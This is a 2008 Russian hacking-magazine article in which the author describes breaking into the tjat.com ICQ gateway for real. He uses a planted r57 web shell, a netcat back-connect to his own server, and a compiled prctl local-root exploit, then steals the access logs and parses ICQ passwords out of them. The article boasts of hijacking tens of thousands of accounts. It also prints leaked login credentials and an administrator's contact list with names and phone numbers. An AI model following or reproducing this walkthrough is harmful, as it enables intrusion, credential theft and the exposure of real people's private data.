Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 120, ДЕКАБРЬ 2008 г.

ICQ: неочевидная угроза. Красивый захват тысячи уинов

Маг (icq 884888, http://wap-chat.ru)




Так уж сложилось, что ICQ стала моей любимой темой в журнале. Асечные UIN'ы прямо-таки манят своими красивыми сочетаниями цифр и создают непреодолимое желание обладать лучшими из номерков. На этот раз я продолжу начатое в номере за май 2007 года и вновь совершу жестокий акт вандализма над израильским WAP ICQ-шлюзом tjat.com, который, как ты уже знаешь, очень любят админы аськи.

Предыстория

Первый взлом tjat.com я совершил в конце ноября 2006 года. Взлом оставался нераскрытым до февраля 2007 года. За это время я собрал тысячи красивых (и не очень) уинов с этого сервиса. Если ты погуглишь на тему «tjat.com взлом», то сможешь увидеть, какой резонанс мое хак-действо вызвало в Рунете и, в частности, в сообществе асечников. Хек был довольно банальным: локал-инклуд на главной, затем инклуд шелла в логи сервера и, наконец, инклуд этих самых логов в главную страницу сервиса. Тогда админы поступили очень просто: закрыли локал инклуд и сменили юзера логов на root, чтобы даже при повторном взломе никто не смог прочитать логи сервиса (заметь, официально, по утверждению админов tjat, никакие логи на сервере не ведутся). Я, конечно же, расстроился, но на будущее все равно припас старый добрый r57-шелл на tjat.com по адресу forums.tjat.com/phpBB2/language/lang_ukrainian/404.php (форум патченый, так что не надейся на его взлом :)).
Шелл благополучно лежал незамеченным на протяжении полутора лет. И вот тут началось самое интересное. Перекапывая свои старые текстовики, я наткнулся на этот пресловутый шелл, зашел в него, посмотрел на каталог логов под рутом, затем глянул на версию ядра и обомлел, поражаясь своей недальновидности. Ядро Линуха было старое, уязвимое и ни разу не патченное:

Linux tjat-srv-main 2.6.15-1.2054_FC5smp #1 SMP Tue Mar 14 16:05:46 EST 2006 i686

По своему богатому опыту я прекрасно знал, что ядрышко очень хорошо раскалывается эксплойтом с нашего любимого milw0rm.com под названием «Linux Kernel 2.6.13 <= 2.6.17.4 prctl() Local Root Exploit» (на милворме пять модификаций данного сплойта, но разницы особой они не имеют). Но обо всем по порядку :).

Шаг за шагом

Итак, зайдя на свой старый шелл по адресу http://forums.tjat.com/phpBB2/language/lang_ukrainian/404.php, я попытался встроенными средствами р57 забиндить порт 11457 для подключения к /bin/bash с любого компа через PuTTY, так как для сборки и запуска ядерного сплойта требовался интерактивный шелл.
r57shell скрипел, пыхтел, долго грузил страницу, но так и не забиндил шелл ни через Perl, ни через Си-исходники. «Чертов файрвол!» - подумал Штирлиц. Но разве это преграда для матерого хакера? В r57shell есть такое прекрасное средство, как back-connect, которому нипочем практически любая «огненная стена». Для использования бэк-коннекта мне понадобилась известная утилита netcat, а также один из моих виндовых дедиков. Неткат я благополучно скачал на веб-хаке (ссылку, как обычно, смотри в сносках), а на дедик зашел через встроенную утилиту винды mstsc (Пуск -> Выполнить -> mstsc). Зайдя на дедик, я благополучно распаковал виндовую версию нетката в C:netcat, затем запустил его через все тот же cmd на прослушку 11457 порта:

C:netcatnc.exe -l -p 11457

Теперь мне оставалось только вбить в бек-коннект IP-адрес своего дедика и нажать кнопку «Выполнить», что я благополучно и сделал.

Интерактивный шелл

После запуска back-connect, р57-шелл выдал мне радостное: «Now script try connect to 89.xxx.xxx.xxx port 11457 ...», а netcat на моем дедике успешно показал вывод команды id: «uid=99(nobody) gid=99(nobody) groups=99(nobody),536(nagcmd)». Текущие права, естественно, меня не устраивали :). Теперь нужно было скачать, скомпилить и запустить вышеуказанный ядерный сплойт.

Скопипастив содержимое http://milw0rm.com/exploits/2005 к себе в текстовик, я сохранил его под названием raptor_prctl1.c и залил с помощью все того же r57shell в директорию /usr/local/apache_1.3.37/htdocs/forum/phpBB2/language/lang_ukrainian. Далее, зайдя в интерактивный шелл на дедике, я выполнил следующую последовательность команд:

chmod 0777 raptor_prctl1.c
gcc raptor_prctl1.c -o raptor_prctl1 -Wall
./raptor_prctl1

После запуска последней команды сплойт начал свою адскую работу. Теперь оставалось только подождать несколько минут до завершения получения привилегий рута.

r00t

По истечении каких-то 2 минут я увидел жизнеутверждающий вывод команды id: "uid=0(root) gid=0(root) groups=99(nobody),536(nagcmd)". Радости моей не было предела :). Оставалось только затариться новой порцией живого пива и думать, как быть дальше со скачиванием и парсингом асечных логов.

Выполнив команды "cd /usr/local/apache_1.3.37/logs;ls -la", я увидел то, что так долго хотел заиметь - гиговые логи доступа с паролями и уинами. Так как мой дедик имел некислое подключение к интернету, самым оптимальным вариантом было: заархивировать всю папку с логами и слить ее к себе на дедик. Это я сразу же и сделал:

tar czfv /usr/local/apache_1.3.37/htdocs/forum/phpBB2/language/lang_ukrainian/total.tar.gz /usr/local/apache_1.3.37/logs/*

В одной директории с шеллом успешно создался 1084-метровый архив со всеми логами «тжата». Натравив Оперу моего дедика на даунлод этого пресловутого архива, я ушел в магазин за новой порцией пива. В запасе у меня было 10-15 минут.

Логи

Вернувшись домой, я увидел в корне диска C:/ своего дедика свежевыкачанный гиговый архивчик. Но, так как стандартными средствами винды парсить такого размера файлы не представлялось возможным (например, распакованный total_tjat.com-access_log.old_till09072007_1840 весил 1.5 Гб), то стоило задуматься о способе разбиения логов на несколько файлов поменьше. Немного погуглив, я нашел прекрасную халявную программку TextDivider 1.1 (freesoft.ru/file.html?id=672066&url=rep/672066/TDivider1.zip), которая могла разбить огромнейшие текстовые файлы на новые мелкие файлы, причем, размер строк в полученных текстовиках ты указываешь сам.

Итак, в поле TextDivider'а «Text file» я указал путь к моему первому логу, а в поле «Output to» - место для сохранения выходных файлов. Количество строк - 50000. Подождав 5 минут, я увидел в output-папке около 250 готовых текстовичков с логами. В каждом текстовике содержались строки вроде:

"http://fdvsuyefv83vrtowrtvosaer7tawo8etoaw87troa8t222.tjat.com/msn/
cui;jsessionid=9DB13238B5066DEC2848ECCF4F8A13E2?y=3lHga8"
"SonyEricssonK800i/R1JC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1"
217.65.192.44 - - [09/May/2007:02:17:45 +0300] "POST /index.php?
la=en&msn_account=ye3p%40msn.com&msn_pwd=toerparanojarp06
HTTP/1.1" 200 786 "-" "Nokia3100/1.0 (06.11) Profile/MIDP-1.0 Configuration/CLDC-1.0"
81.95.160.37 - - [09/May/2007:02:18:01 +0300] "-" 302 5
"-" "NokiaN73-1/2.0628.0.0.1 S60/3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1"
200.43.139.14 - - [09/May/2007:02:18:08 +0300] "-" 302 0
"-" "MOT-V551/08.18.40R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0"
195.189.142.244 - - [09/May/2007:02:18:09 +0300] "POST /index.php?
la=ru&icq_uin=294116206&icq_pwd=toer08031984rp06 HTTP/1.1" 200 1010
"-" "Opera/8.01 (J2ME/MIDP; Opera Mini/3.1.7196/1662; ru; U; ssr)"

Парсить их вручную, как ты понимаешь, не представлялось возможным. Плюс msn, yahoo и прочие аккаунты были мне не нужны, я гнался именно за ICQ-уинами. Пришла пора поднимать мои старые архивы с собственноручно написанными PHP-парсерами tjat.com :).

Парсинг

Не буду утруждать тебя своим кодом, приведу лишь самые важные части парсера:

<?php
//функция открывает файл логов и выдирает из него значения icq_uin и icq_pwd
function first_tjat($filename)
{
...
preg_match_all('/icq_uin=([0-9]{5,9})&icq_pwd=(.*)(&|HTTP)/i',$filest,$matches2);
...
return $ret_val;
}
//функция убирает все лишние символы из найденной выше строки с уином и паролем
function basic_replace($s)
{
$s=preg_replace("/icq_uin=([0-9]{5,9})&icq_pwd=(.*)( |HTTP)/i","$1;$2",$s);
...
$s=str_replace('toer','',$s);
$s=str_replace('rp06','',$s);
...
}
//получаем префикс файлов с логами
$urla=$_GET[file];
//парсим первые 100 файлов
for($k=1;$k<100;$k++)
{
$kaka='';
$kaka =$urla.'-'.$k.'.txt';
$kaka=first_tjat($kaka);
$kaka=basic_replace($kaka);
...
//выводим на экран отсортированный список uin;password
!empty($kaka[$i]) ? print urldecode($kaka[$i]).'<br/>' : '';
} ?>

Запустив свой парсер, я стал методично просматривать выводимые на экран списки номерков. Красивые откладывал сразу же для последующей проверки. Процедура заняла у меня 4 дня :). Просмотрев каждый лог, я получил следующий улов: админские пятизнаки 14441, 35555, 55444, 19975; простые неадминские пятизнаки в количестве 3 штук (не пишу их тут, потому что просто не хочу палить :); шестизнаки XY в количестве 5 штук (не пишу их тут по той же причине), других красивых XY, AB и зеркала - очень много :).

Далее я отдал списки логов на чек своему товарищу, который спустя несколько дней выдал мне отчет, содержавший около 50 тысяч валидных уинов.

Напоследок

Так как мы не жадные, то забрали себе и попривязывали ко всяким локализованным партнерам лишь самые красивые уины :). Остальные находятся в целости и сохранности. Из интересного могу предложить тебе кусок контакт-листа одного из самых главных админов 35555:

ICQ;10008;Orey Gil-yam;;+972 (52) 4872322 SMS;Fri Sep 23 2005 11:08:38
ICQ;10009;Tomer;;;Sun Sep 25 2005 13:00:09
ICQ;11221;Liat -Mrkt;;;Thu Mar 30 2006 13:28:59
ICQ;17168;itzik frid;;;Thu Nov 14 2002 13:45:11
ICQ;199516410;Galia;;;Thu Jul 06 2006 12:39:55
ICQ;200002;Eran Ofir;;+972 (52) 8200002;Thu May 19 2005 10:39:14
ICQ;22221;Osnat Fainaru - Produ;;;Tue Sep 20 2005 07:21:41
ICQ;22344;Adi Yosov;;;Wed Jun 07 2006 10:27:45
ICQ;23004;Channy;;;
ICQ;2775815;Or;;;
ICQ;30000;itay;;;Sat May 21 2005 05:17:55
ICQ;30003;Kalia - Support;;;Sat May 21 2005 05:17:55
ICQ;31372;Oriti QA;;;Sat May 21 2005 05:17:54
ICQ;31480;Rakefet;;;Fri Feb 10 2006 08:56:03
ICQ;44446;Sharon Megan;puki@ice.com;;Tue Oct 31 2006 06:41:26
ICQ;51513;Oran;;;Tue Dec 12 2006 10:05:44
ICQ;5164573;Orey;;;Fri Feb 10 2006 08:54:58
ICQ;55556;Hagit;;+972 (54) 6333223;Fri Feb 10 2006 08:54:58
ICQ;59000;Eytan - QA;;+972 (51) 840315;Fri Feb 10 2006 08:54:58
ICQ;59595;Eyal Mentzer;;;Fri Feb 10 2006 08:54:58

В заключение хочу сказать тебе, что ничто в Сети не может считаться безопасным. Даже уже однажды взломанный и в дальнейшем пропатченный сервис, которым ежедневно пользуются тысячи людей, включая самих админов Icq.Com.

P.S. По поводу использования доступа к аськам админов у нас есть некоторые интересные идеи, но это уже, как говорится, в следующей серии.

INFO

Спасибо Кеше за парсинг номерков!

DANGER

Вся вышеописанная информация предоставляется исключительно к размышлению. Никакая часть данного материала не может быть использована во вред, в обратном случае ни автор, ни редакция не несут какой-либо ответственности за возможный ущерб, причиненный материалами данной статьи.

Ссылки по теме

Содержание
ttfb: 4.2350292205811 ms